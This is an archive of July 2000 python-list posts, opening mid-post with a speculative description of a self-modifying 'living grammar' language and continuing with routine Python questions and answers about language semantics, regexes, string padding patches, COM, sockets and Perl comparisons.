Operator=>Load | Add | Sub | Jump | etc
Operand=>R1 | R2 | A1 | etc

Of course, you can create the language of Basic using a different
grammar set.  C has its own, every language has one.

But have you noticed something?  All the languages in the world
has a fixed grammar.  The only one that comes close to being dynamic is
Lisp.  But even in lisp you must follow the recursive syntax, and you
are bound to it for creating new functions.

Well, I happen to have created a new language with a dynamic
grammar tree.  You can prune add grammar anywhere in it.
The most scrary and interesting thing about it is that it
has the potential to be alive "living".  All it needs is a source for
replacing any piece in the LHS (left side of the grammar tree), and a
source for food (something to parse its grammar on, in
computer language it is called the program).  It can obtain both either
manually (you feed it), or it can grab it from a source
(like the internet webpages)

It can live on the internet following webpages.  It can understand html
format (and its links).  And it can understand text.  So
for example, it follows a link to a regular text (which has sentences
with periods, etc), and it will eventually hit upon a http link
and it can go there if it wants.  It has rudimentary english
grammar capability etc.

But back to the dynamic nature of its grammar tree.  Because it is
dynamic, it can be pruned and spliced internally, new grammar trees can
be created.  It can understand C, C++, pascal, etc if you feed it that
grammar.

The only things that come up is endless recursion.  A bonus is
that when it has a choice of following two paths, it can use
random path.  If it gets it nowwhere (not settling down to a matching
tree node) in a certain iteration, that prune of the tree is considered
bad (a bad mutation), so it is removed (it dies).  It can keep track of
good paths for keeps.  Eventually based on percentages, the random
paths narrow down to useful grammars.

Actions.  Well what can it do?  It can interpret languages and
execute if it has a way to hook into the CPU and tell it to
do stuff.  From there it needs a starting point.  You can feed
it a program for it to interpret (like a perl language or a
C program, or a html link), and off it goes following its
intstructions. now and then it encounters a part it doesn't understand
from
its food.  From then it has a choice of either incorporating the new
tree token or discard it.  (you can set the mutation rate).
Note that it can be set to retain a lot.

This thing can crawl to your machine and live there if it has
hooks to your machine.  For example... this is a path it would
take if it wants to reproduce children...

On my windows machine it is running on an Intel cpu (it understands
this language).  To migrate to another machine, it would need
access to your machine's CPU.  Most computers talk http and tcp/ip.
Well, if the food is html pages, it has instant access to all the
computers on the internet that has a webservers and from there
it can find ftp servers (using ftp:// tokens).  From its base machine
it can ftp itself to public ftp servers as pure executables of
itself for intel cpus.  From there it has a chance to live again if
someone downloads it and runs it.

it just happens that it understand ftp commands

start=>statements
statements=>statement statements
statement=>operator file
operator=>put | get | etc
file=>[a-z.]*

There is the grammar for execution...

response=>error | ok | etc
error=>"cannot find"
ok=>"file transferred.."
etc.

a new grammar is simply an extention of things it found but
has no node to parse from in its internal grammar tree.
Because it is a living grammar, it can utilize useful languages it
parsed and incorporate that into its own grammar tree.

a=b | newgrammar
newgrammar=>(obtained from parsing food)

eventually if this part of the tree is successful elsewhere it is
retained (based on percentage, etc)

If it cannot have children, then it can just live on one machine and
basically grow and mutate itself.  It can understand everthing
eventually.  Even wave files (sound files) have a strict structure with
a header, begin wave sound and end file.  html has <html> for beginning
and </html> for ending.  C executables have Data Segment, Address
Segment, where to load it into memory, etc. C source
have main(argc, argcv) etc.  So it can be in a growing mode, or
execution mode.  It can execute code (any language, if you feed it the
grammar, or it finds out on its own) or run native cpu code, or it can
just grow, understand the grammar for some new food it got and create
grammar trees from it to extend itself.

Here is an interesting website: http://www.edepot.com
There is a non-living version of the grammar there
(It was useful as a glossary, so I made it live on disucssion
forum board pages, but it is non-living, so you must manually
give it new grammar by inputing into the input box.).
You can try it out on the discussion forums.  A more
direct link is http://www.edepot.com/phl.html
Check out the eGlossary and add a grammar
(and then visit a discussion forum
and create a message the eGlossary can or understand)
(you may need to manually put a grammar in)

The living mode still working on.  (I'm using it
as a backend as a dynamic webpage language).



Sent via Deja.com http://www.deja.com/
Before you buy.


From ge at nowhere.none  Tue Jul 25 11:47:26 2000
From: ge at nowhere.none (Grant Edwards)
Date: Tue, 25 Jul 2000 15:47:26 GMT
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com>
Message-ID: <iEif5.2336$6E.572972@ptah.visi.com>

In article <8lj7kr$ttc$1 at nnrp1.deja.com>, Jonathan wrote:

>3. No keywords to differentiate between passing arguments by
>   reference or value! An integer is passed by value(reference to
>   a new copy), while a mutable object is by reference. 

All parameters are passed by reference.  Whether the object
references is mutable or not is another question.  I think
that's what you meant, right?

All languages are wierd if you're used to something else.

Scheme is wierd if you're used to Fortran.  C is weird if
you're used to Prolog.  APL is weird if, well, it's just weird.
Perl is weird if you used to anything except AWK and Bourn
shell, and then it's still a little weird.

-- 
Grant Edwards                   grante             Yow!  MMM-MM!! So THIS is
                                  at               BIO-NEBULATION!
                               visi.com            


From hzhu at localhost.localdomain  Mon Jul 31 18:55:38 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 22:55:38 GMT
Subject: [6th Draft] Open Letter to CNRI: Request for clarification
References: <39861173.30E94EDC@nowonder.de>
Message-ID: <slrn8oc16u.23d.hzhu@rocket.knowledgetrack.com>

This one looks much better.  If you could tone it down still a little bit,
I'd like to add my signature.  But we probably need to wait for the promised
licence announcement after today.

On Mon, 31 Jul 2000 23:53:23 +0000, Peter Schneider-Kamp
<nowonder at nowonder.de> wrote: 

>interested in the overall intent of this change. So we request a
>plain-English, non-legalese statement regarding the purpose of that
>change and the ways in which it affects Python's use.

I feel "request" is still too strong.  Suggested change (or anything similar):

We would appreciate it very much if you could provide a plain-English ...


Huaiyu Zhu (Matrix for Python developer)


From MarkH at ActiveState.com  Thu Jul 20 07:13:05 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 20 Jul 2000 11:13:05 GMT
Subject: Pythonwin attribute expansion
References: <8l5a2g$egp$1@nnrp1.deja.com>
Message-ID: <59Bd5.7287$4p3.52016@news-server.bigpond.net.au>

"Howard B. Golden" <hgolden at my-deja.com> wrote in message
news:8l5a2g$egp$1 at nnrp1.deja.com...
> This is about Pythonwin build 132 and Python 1.5.2.
>
> See the code test below.  I define a superclass "Super" and a
> subclass "Sub" of "Super".  I create an instance of "Sub" named "s".
>
> Using the Pythonwin interactive window's attribute expansion, when I
> type "s." I get a pop-up showing the variables of both "Sub"
> and "Super", but only the methods of "Sub" (e.g. "m3" and "m4").  It
> seems to me that I should get the methods of "Super" as well.  Is this
> a bug, feature, or something I can control?

It's a bug.

If you would like to fix it, look in pywin\scintilla\view.py, and locate
the _AutoComplete() method.  The line:


Mark.





From root at rainerdeyke.com  Mon Jul 10 15:25:14 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Mon, 10 Jul 2000 19:25:14 GMT
Subject: including files
References: <9yna5.229$iT2.4602@m2newsread.uni2.es>
Message-ID: <uqpa5.15004$6y5.13180514@news2.rdc2.tx.home.com>

"Fernando Rodr?guez" <frr at mindless.com> wrote in message
news:9yna5.229$iT2.4602 at m2newsread.uni2.es...
> Hi!
>
>     What's teh Python's equivalent for C's #include "myfile.h"? O:-)

The standard substitute is:

import myfile

However, this is not quite equivalent to #include.  If you really need
behavior identical to #include, you could try the following:

exec open("myfile.h").read()


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From db3l at fitlinxx.com.bbs  Mon Jul 17 13:40:02 2000
From: db3l at fitlinxx.com.bbs (db3l at fitlinxx.com.bbs)
Date: 17 Jul 2000 17:40:02 GMT
Subject: Enumerating drives in Python or wxPython
Message-ID: <3bRK53$k8E@openbazaar.net>

Alan Miller <ajm at enteract.com> writes:

> David Bolen (db3l at fitlinxx.com) wrote:
> >Alan Miller <ajm at enteract.com> writes:
> >> for driveletter in string.uppercase:
> >>     if os.path.isdir(driveletter + ":\\"):
> >>         drivelist.append(driveletter)
> >
> >The only rub with this is that for things like floppies, you can get
> >errors running isdir() if there is no diskette present.
>
> Interesting, I tried it out before I posted and didn't have any problems.

Strange - it did for me for A: (I did it just before posting as well).
Perhaps it's a Windowism that depends on platform or some strange
registry setting or something.  I was on NT 4, SP4.  In any event, I
guess at the very least it means that it's behavior isn't guaranteed
to be consistent.

(...)
> Anyway, even if isdir() did return an error that should be trappable; I'd
> expect the error returned to be different for media not available than
> for no such device.

The problem was that isdir() didn't return an error - it returned 1
(which I guess is ok, given that A:\ is technically valid even without
a diskette), but the NT error while performing isdir() put up a
message box that the user would have to answer before isdir() returned
in the Python script.

--
-- David
--
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From moshez at math.huji.ac.il  Sun Jul 16 00:40:41 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sun, 16 Jul 2000 07:40:41 +0300 (IDT)
Subject: Discussion: Introducing new operators for matrix computation
In-Reply-To: <200007152225.PAA09463@rock.localdomain>
Message-ID: <Pine.GSO.4.10.10007160738250.12179-100000@sundial>

On Sat, 15 Jul 2000, Huaiyu Zhu wrote:

> That is, instead of sinm(x) and sin(x) we can write
> 
> sin(x) and sin(x.Element())
> 
> But both functions still need to be implemented, and each function call
> would involve a member lookup, an initializsation and a type comparison.


Not if you implement

matpy.sin(x) as

x.__sin__()

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From quinn at pfennig.ugcs.caltech.edu  Mon Jul 24 06:06:20 2000
From: quinn at pfennig.ugcs.caltech.edu (Quinn Dunkan)
Date: 24 Jul 2000 10:06:20 GMT
Subject: 5.2.1 fails 5 tests: SGI Indigo-2 IRIX 6.2 gcc -O2
References: <3978D151.8208C03B@ids.net> <8lb5nt$uj1$1@nntp9.atl.mindspring.net>
Message-ID: <slrn8no5ev.2ao.quinn@pfennig.ugcs.caltech.edu>

On Fri, 21 Jul 2000 21:55:04 -0600, Andrew Dalke <dalke at acm.org> wrote:
>
>Eben Oldmixon wrote:
>>I particularly like the non-overflowing of maxint+1, although
>>'+-1' (!) is a close second.
>
>
>I recall Jeff Chang mentioned that Python on IRIX when compiled
>with gcc had sys.maxint give a value of -1.  The solution was either
>to upgrade (but upgrade the OS? gcc?) or a compiler flag.  Given
>the poor history coverage in DejaNews^H^H^H^H, I can't find his
>messages on the subject.

When I installed gcc 2.8.1 from freeware.sgi.com, it defined __LONG_MAX__ to
be a 64 bit long (which was wrong) unless you used -mno-long64 for gcc -E.  I
solved that problem by taking *long_max_spec out of the specs file.

Hope that helps...


From stephen_purcell at yahoo.com  Sat Jul 15 18:02:06 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Sat, 15 Jul 2000 22:02:06 -0000
Subject: '"""' and linefeed characters
In-Reply-To: <3970A8ED.2EF04522@alcyone.com>
Message-ID: <8kqn0u+hu9o@eGroups.com>

Erik Max Francis <max at a...> wrote:
> Matthew Cline wrote:
> > 
> > I'm assuming that returns in a '"""' quoted string are given
> > the linefeed character(s) of the operating system Python is
> > run on.  Is this right?
> 
> They're given a newline ('\n'), which is independent of the
> end-of-line sequence of your operating system.

Ah, so my reply was wrong. Sorry to confuse matters. A quick check
would have been a good idea:-

  [on linux]
  >>> f = open('foo.py','w')
  >>> f.write('"""\r\n"""\r\n')
  >>> f.close()
  >>> import foo
  >>> repr(foo.__doc__)
  "'\\012'"

-Steve

--
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me




From darrell at dorb.com  Tue Jul 11 16:36:47 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Tue, 11 Jul 2000 13:36:47 -0700
Subject: simple (?) re question
References: <396B4DAE.3FEF0B0E@sxb.bsf.alcatel.fr>
Message-ID: <056101bfeb77$bc228e00$6401a8c0@home>

>>> re.match(("(?!.*SCCS).*java$"),"/foo/bar/SCCS/s.file.java")
>>> re.match(("(?!.*SCCS).*java$"),"/foo/bar/CCS/s.file.java")
<re.MatchObject instance at 8deaa8>
>>> re.findall(("(?!.*SCCS).*java$"),"/foo/bar/CCS/s.file.java")
['/foo/bar/CCS/s.file.java']

Maybe I can explain this.
The first ".*" eat up the "SCCS" before the negative assertion was
evaluated.
Moving ".*" into the negative assertion now says:
No where on this line can there be "SCCS"

--Darrell Gallion

----- Original Message -----
From: "Frederic Laurent" <laurent8 at sxb.bsf.alcatel.fr>
>
> >>> r=re.compile(".*(?!SCCS.*$).*[.]java$")
>
> and then
>
> >>> r.match("/foo/bar/SCCS/s.file.java")
> <re.MatchObject instance at 1f9898>
>
> But it's wrong for me ! I was expected this file will not match.
>





From ge at nowhere.none  Fri Jul 28 09:55:43 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 13:55:43 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com>
Message-ID: <zhgg5.2631$6E.681113@ptah.visi.com>

In article <slrn8o2fgr.1e2.grey at teleute.rpglink.com>, Steve Lamb wrote:

> As a human, type 1.  Character?  String?  Integer?  Floating
> number?  No, it is 1 and it can be all of those all on context.

To me, the integer 1, the floating point value 1.0, the string
"1", and the ASCII character '1' are all quite distinct things.
I prefer using a notation that unabiguously identifies which
object I mean.

Python has blurred the last two, but I know why it was done and
I can adjust my thinking.  I would prefer that the others
remain distinct.  That is a matter of personal taste.  I know
whether I want an integer or a string or a float and I don't
want the language converting types on me my behind my back.

I'm not entirely thrilled about the way C automagically
converts numerical types -- fortunately lint is available to
plug that hole in the boat.

Perhaps there are people who want the language to attempt to
convert types from what was passed to what was expected, but I
don't.

>>No; "a" is a string and strings are sequences; 1 is an integer, and
>>integers are not sequences.  This particular quirk is in your head.
>
> No, the particular quirk is in the language by forcing types.
> Remember, all this came about because I pointed out that Python
> has just as much automagical "typing" going on as Perl does, it
> just limits that typing from what I can see.

I'm still not sure what is meant by the phrase "forcing types"
but that probably means I should just read the whole thread
again.

-- 
Grant Edwards                   grante             Yow!  My pants just went to
                                  at               high school in the Carlsbad
                               visi.com            Caverns!!!


From rumjuggler at cryptarchy.org  Fri Jul 28 15:10:22 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Fri, 28 Jul 2000 19:10:22 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com>
Message-ID: <mvm3osc30bdg3gm2jtjkja6669vfae45s8@4ax.com>

On Fri, 28 Jul 2000 15:23:38 GMT, grey at despair.rpglink.com (Steve Lamb)
wrote:

>On Fri, 28 Jul 2000 14:27:58 GMT, Grant Edwards <ge at nowhere.none> wrote:
>>If I typed "1", that means I wanted a word, a printible string, and _not_ an
>>integer.  If I wanted an integer I would type 1 instead of "1".  If I want to
>>convert a string to an integer or an integer to a float or a float to a
>>string, then _I_ will do it. I do _not_ want the language to make WAGs about
>>what I meant when I typed something.
>
>@names = ("Bob","Bob","Bob","Robert Paulson");
>@occupation = ("Uncle","Uncle","Uncle","Mayhem");
>$index = 0;
>foreach $name (@names){
>  $done = 0;
>  $x = 0;
>  while (!$done){
>    if ($members{$name.$x}){
>      $x++
>      next;
>    }
>    else{
>      $members{$name.$x} = $occupation[$index];
>    }
>  }
>}
>
>    Your argument completely ignores cases like the above, doesn't it?  Where
>you want to have a counter incremented (math function) but need to use it in a
>string constantly.  Simplistic example, yes, but a valid one.  Why force the
>programmer to do constant switching to do such a simple thing?

Just out of curiousity, what does the above do?  I'm not seeing $members
and $name.$x.

-- 
Barnabas T. Rumjuggler

habitamus in tenebris et crescemus comburendo umbrarum.


From paul at prescod.net  Tue Jul 18 22:43:56 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 21:43:56 -0500
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3974CE13.3267A16B@roguewave.com>
Message-ID: <397515EC.CB19C074@prescod.net>

Bjorn Pettersen wrote:
> 
> ...
> 
> Wasn't there an announcement about plex(?) a little while ago (a pure
> python implementation of a lexer)?

Yes, there are a few lexers. The issue is just deciding to put one in
the library, and deciding which one and using what API.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From peter at schneider-kamp.de.bbs  Mon Jul 17 08:00:01 2000
From: peter at schneider-kamp.de.bbs (peter at schneider-kamp.de.bbs)
Date: 17 Jul 2000 12:00:01 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bRBC1$juS@openbazaar.net>

Beat Bolli wrote:
>
> Hi all
>
> this is my first crack at Python patching. I was simply appalled to find
> '3'.zfill(5) not working anymore in 2.0b1, so I decided to do something
> about it. Now since zfill can be expressed as rjust with an optional pad
> characer argument, I implemented this.

Looks fine to me. When you upload a version with updates to
documentation and test cases please try to make a context diff
(-c if you are using diff or cvs diff).

As it should not break any existing code (if someone relies on
{r,l}just only taking one parameter I'd say that's her/his problem),
I think it will very likely be accepted. But then, only God knows <wink>

> Live long and prosper!

trying to seperate fingers at appropriate position,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de


From djc at object-craft.com.au  Tue Jul 11 20:10:40 2000
From: djc at object-craft.com.au (Dave Cole)
Date: 12 Jul 2000 10:10:40 +1000
Subject: Sybase module crashes (segfault)
References: <396B2DEA.2FAEA72B@schlund.de> <396B3885.F612FD76@schlund.de>
Message-ID: <m3g0pg9pj3.fsf@vole.object-craft.com.au>

>>>>> "Carsten" == Carsten Gaebler <cg at schlund.de> writes:

Carsten> Solved: I forgot to create the "interfaces" file in the
Carsten> Sybase directory. :-} Now it works.

Looks like I will have to do some investigation.  If there is a way to
avoid the segfault, I should fix the module.

I have changed jobs (have just started a business with a friend), and
do not have a Sybase environment set up yet.  In the next week or so,
I should be ready to look at that code again.

- Dave



From python-list at teleo.net  Mon Jul 24 20:11:00 2000
From: python-list at teleo.net (Patrick Phalen)
Date: Mon, 24 Jul 2000 17:11:00 -0700
Subject: Python questions from C/Perl/Java programmer
In-Reply-To: <397CC80C.43F5D8@alabanza.net>
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <00072417133803.05602@quadra.teleo.net>

[ye, wei, on Mon, 24 Jul 2000]
:: Remco Gerlich wrote:
:: > Other short answers: it saves typing, is more readable, braces aren't
:: > necessary, they're ugly.
:: >
:: 
:: Perlsonally, I don't agree with you, but I can bear with the rule.


Freudian slip ... or intentional pun?



From ulrich.schreiner at innuendo.de  Mon Jul 10 13:33:05 2000
From: ulrich.schreiner at innuendo.de (Ulrich Schreiner)
Date: Mon, 10 Jul 2000 19:33:05 +0200
Subject: soap
Message-ID: <396A08D1.605982A2@innuendo.de>

hi,

how do i map a result from a soap call to a python class?

now i do it this way (maybe syntactic incorrect):

--------------
import soaplib
from soaplib import getparser

parser, unmarshaller = getparser()

server._defmethod("getPerson", "urn:innuendo-demo")
unmarshaller.dispatch['urn:innuendo-demoperson'] =
unmarshaller.dispatch[None]

print (server.getPerson())

--------------

the serverside is the ibm-soap classlib and returns an instance of a
"Person" class which is serialized with the beanserializer from this
library.

the "getPerson" call in the python code returns a dictionary. i would
like some sort of typemapping to map the "urn:innuendo-demoperson" to a
specific python class. 

is this possible with version 0.8?

thanx
usc


From tim.hochberg at ieee.org  Mon Jul 10 01:27:50 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Mon, 10 Jul 2000 05:27:50 GMT
Subject: Namespace weirdness
References: <3968E1B0.B6E6F3E9@yahoo.com> <8F6CECA93gmcmhypernetcom@199.171.54.194> <39692118.9D6EAFAA@yahoo.com>
Message-ID: <q9da5.21142$ll.130599@news1.rdc1.az.home.com>


> > Paul Winkler wrote:
>
> > >class Food:
> > >    def __init__(self, attr1):
> > >        self.attr1 = attr1
> > >    class BodyPart:
> > >        def do_it(self):
> > >            # This next line is a stand-in for what I want...
> > >            print my_parent_namespace.attr1


Just to add to keep tings a bit confusing, let me show a way to do more or
less what you're trying to do. I don't really recomend it, but it's an
entertaining little trick. There are two signifigant changes: first the
class definition is moved up yet another level so that it's defined in the
__init__ function. This is because you're really trying to get at instance
data, not class data. The second change is to specificall add the instance
namespace to the BodyPart class. I also manually added BodyPart to the
instance namespace since otherwise there would be no way to get at it. So
here, for your entertainment is the final version. Enjoy!

class Food:
   def __init__(self, attr1):
       self.attr1 = attr1
       class BodyPart:
           def do_it(self):
               print self._foodInstance.attr1
       BodyPart._foodInstance = self
       self.BodyPart = BodyPart


food = Food("FOO")
bp = food.BodyPart()
bp.do_it()


-tim




From bradh at mediaone.net  Mon Jul 10 20:47:33 2000
From: bradh at mediaone.net (Brad Howes)
Date: Tue, 11 Jul 2000 00:47:33 GMT
Subject: Searching Audio/Video w/ Python+Java
Message-ID: <m3d7kl5w7v.fsf@h0050047c4794.ne.mediaone.net>

>From the "tooting my company's horn" department (Lernout & Hauspie), here's a
URL that shows off a web site in which a video presentation can be
searched. The page is generated by a Python server, using my BoilerPlate
template classes described in a Dr. Dobbs article a few years ago.

  http://myplanner.key3media.com/interoplv2000/planner/niconference.cfm?sessionid=20004&video=1

The Java search applet at the bottom of the screen communicates search requests
directly to the Python server. The page data is obtained from flat files (in
this case) or an Oracle database.

NOTE: this page requires Java, JavaScript and RealPlayer 6+. It runs on my
RedHat 6.2 Linux box. It may run on a Macintosh (Navigator only).

-- 
    "Were people this stupid before TV?" -- _White Noise_ by Don DeLillo


From tjreedy at udel.edu.bbs  Mon Jul 17 12:50:01 2000
From: tjreedy at udel.edu.bbs (tjreedy at udel.edu.bbs)
Date: 17 Jul 2000 16:50:01 GMT
Subject: [Patch] {l,r}just with optional pad character parameter
Message-ID: <3bRIcP$kSN@openbazaar.net>

"Peter Schneider-Kamp" <peter at schneider-kamp.de> wrote in message
news:39733AC7.96CCBF81 at schneider-kamp.de...
> Thomas Wouters wrote:
> >
> > As for the patch itself, it looks okay, though I'd say the restriction
on
> > padchar being a single character is a bit strange. Why not allow
multiple
> > characters as padding ? string.join() allows strings instead of single
> > characters, too.
>
> Two reasons why not:
> - it would have been harder to implement <wink>
> - undetermined semantics:
>   "GvR".ljust(6,"12") =?= "GvR121"

This is exactly what I would expect -- a 6 char result string

>   or
>   "GvR".ljust(6,"12") =?= "GvR12"
>   or
>   "GvR".ljust(6,"12") =?= "GvR1212"

But these are not the right length -- someone who wanted something like
this
should examine lengths of input and pad and adjust whatever accordingly.

>   I would vote for the first, but I am not sure it is obvious.

Anything else would surprise me, so I agree.  TJR


From no at bo.dy  Thu Jul 20 23:57:00 2000
From: no at bo.dy (nobody)
Date: Thu, 20 Jul 2000 22:57:00 -0500
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <hMrd5.49275$e6.2860918@pouncer.easynews.com> <8l73an01lgb@news2.newsguy.com> <vnLd5.27741$r9.839310@news.easynews.com>
Message-ID: <DSOd5.25099$DZ4.83839@news.corecomm.net>

"Roger Upole" <rupole at compaq.net>, in
<vnLd5.27741$r9.839310 at news.easynews.com>:

> I must take exception to your insistence that
>    "Everything should be done ONCE, and only ONCE.  In ONE
>    place in the code."
> Besides sounding didactic, it is also completely false.  In many cases,
> an initial read is necessary to determine how (or even if) the rest of a
> file will be processed.

true, but i think you will find that most of these cases are reading a
header of (usually) an entirely different format from the rest of the
data. doing things as few times as possible, in as few places as
possible, is nothing more than simple abstraction - or, as i like to
think about it, code hygiene.

now, this newbie has run into another perl idiom he'd like to figure out
how to rewrite in python - "while (<FILE>) { print; }" - and, by extension,
how to get python to print the string i hand it, the whole string i hand it,
and nothing but the string i hand it? i despise machines trying to second-
guess my intentions, and silly little print statements trying to be clever
with their arguments are nothing more than that.

even so, python is still worth trying to learn, IMO. its ways of dealing
with regexps and substitution might not be as handy and convenient as
perl's operators, but the re module seems to me to be more "programmable"
somehow, easier to write code around. i like it, i just wish its functions
would be more consistent about what sort of regexps they want - either all
compiled or all not compiled; i'm seeing some wanting one and some the
other, for some reason. might be just my system, i suppose...



From amk at mira.erols.com.bbs  Sun Jul 16 12:30:04 2000
From: amk at mira.erols.com.bbs (amk at mira.erols.com.bbs)
Date: 16 Jul 2000 16:30:04 GMT
Subject: Python equivalent of CPAN in Perl
Message-ID: <3bQSbT$lXw@openbazaar.net>

On Sun, 16 Jul 2000 10:11:26 +0100,
	Robin Becker <robin at jessikat.fsnet.co.uk> wrote:
>Unfortunately not true. A large share of the Python market (on win32)
>have no compilers and probably wouldn't/couldn't use one even if it were
>present. I doubt the extension builders will always want to include
>.pyds for Python15.dll Python20.dll etc etc.

The Distutils include commands to build binary distributions,
including a Windows installer (bdist_wininst, by Thomas Heller) and
RPMs (bdist_rpm, by Harry Henry Gebel).  If your package contains only
Python code, you could even build the Windows installer for it on Unix.

--amk


From sekter at matavnet.hu  Wed Jul 19 16:33:56 2000
From: sekter at matavnet.hu (Arpad Kiss)
Date: Wed, 19 Jul 2000 22:33:56 +0200 (CEST)
Subject: Exception when creating com-object in thread
In-Reply-To: <MPG.13dfef683f744220989680@news.eunet.no>
Message-ID: <XFMail.20000719222515.sekter@matavnet.hu>

Hi,
In every thread you have to call pythoncom.CoInitialize at first(before any
other COM API call), but in the main thread
CoInitialize is called by the Python framework automaticly(if i am right..).
Arpad


On 19-Jul-2000 Nils Otto Johansen wrote:
> Hi!
> 
> When I am running a threaded python script, and in one of the threads 
> want to creata a instance of a com class, an exception is raised saying :
> 
> CoInitialize is not called  
> (freely transleted from norwegian :"CoInitialize er ikke kalt.")
> 
> any suggestions ??
> 
> What is CoInitialize, and how and why do I call it
> 
> Nils
> -- 
> http://www.python.org/mailman/listinfo/python-list

----------------------------------
E-Mail: Arpad Kiss <sekter at matavnet.hu>
Date: 19-Jul-2000
Time: 22:12:22

This message was sent by XFMail
----------------------------------



From moshez at math.huji.ac.il  Mon Jul 17 17:30:49 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 18 Jul 2000 00:30:49 +0300 (IDT)
Subject: [Patch] {l,r}just with optional pad character parameter
In-Reply-To: <39733AC7.96CCBF81@schneider-kamp.de>
Message-ID: <Pine.GSO.4.10.10007180029230.5608-100000@sundial>

On Mon, 17 Jul 2000, Peter Schneider-Kamp wrote:

> Thomas Wouters wrote:
> > 
> > As for the patch itself, it looks okay, though I'd say the restriction on
> > padchar being a single character is a bit strange. Why not allow multiple
> > characters as padding ? string.join() allows strings instead of single
> > characters, too.
> 
> Two reasons why not:
> - it would have been harder to implement <wink>
> - undetermined semantics:
>   "GvR".ljust(6,"12") =?= "GvR121"
>   or
>   "GvR".ljust(6,"12") =?= "GvR12"
>   or
>   "GvR".ljust(6,"12") =?= "GvR1212"

In the face of ambiguity, refuse the temptation to guess!!!!!

"GvR".ljust(6, "12")
Traceback (innermost last):
  File "<stdin>", line 1, in ?
ValueError: second argument to ljust must be of length 1

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From ge at nowhere.none  Thu Jul 20 11:05:05 2000
From: ge at nowhere.none (Grant Edwards)
Date: Thu, 20 Jul 2000 15:05:05 GMT
Subject: Getting local IP address...
References: <200007190105.LAA27331@xevious.dstc.monash.edu.au> <39768C32.EFB576B0@pehr.net>
Message-ID: <ByEd5.1814$6E.374385@ptah.visi.com>

In article <39768C32.EFB576B0 at pehr.net>, pehr anderson wrote:

>I would be *very* interested in a module that made it easy to access
>low-level interface information.
>
>There are a few goodies python excludes, for better or worse, in 
>the name of cross-platform portability:
>
>1. localhost IP addresses, 

Since a machine may have 0..N IP addresses [most of my machines
have 3], specifying which one you want turns out to be harder
than one would think.  You could just return the whole list,
and let the user sort through them.

>2. MAC addresses for ethernet interfaces,

I don't know how portable the ioctl() calls are between *n*x
systems. (I don't have the faintest idea how it works under
Win32 or MacOS.)

>3. listing available PPP addresses with an interface to connect /
>disconnect.

>4. raw_sockets support. I haven't delved deeply enough to know why this 
>   is excludeded but for embedded development it is *really* handy.

It's really handy for a lot of things.  Talking to proprietary
Ethernet devices for instance.  I've added PF_PACKET support to
my copy of 1.6a2 under Linux.  It was the one thing that was
requiring me to run C programs via system(). Now I can have a
"pure" Python solution.

-- 
Grant Edwards                   grante             Yow!  Does someone from
                                  at               PEORIA have a SHORTER
                               visi.com            ATTENTION span than me?


From bwinton at tor.dhs.org  Fri Jul  7 23:38:03 2000
From: bwinton at tor.dhs.org (Blake Winton)
Date: Sat, 08 Jul 2000 03:38:03 GMT
Subject: Palm Python?
References: <8h8jmc$t9i$1@gaia.cdg.acriter.nl> <14649.14534.184930.984180@malibu.aero.org> <FvLsJJ.CAC.0.bloor@torfree.net> <3939FFB4.A7824367@mindspring.com> <da1eh8.r4g.ln@demonseed.net> <m3zooxhm9k.fsf@chinon.cnrs-orleans.fr>
Message-ID: <slrn8md52n.gb2.bwinton@tor.dhs.org>

On 07 Jun 2000 11:29:43 +0200, Konrad Hinsen wrote:
>Jason Petrone <jp at NOSPAMdemonseed.net> writes:
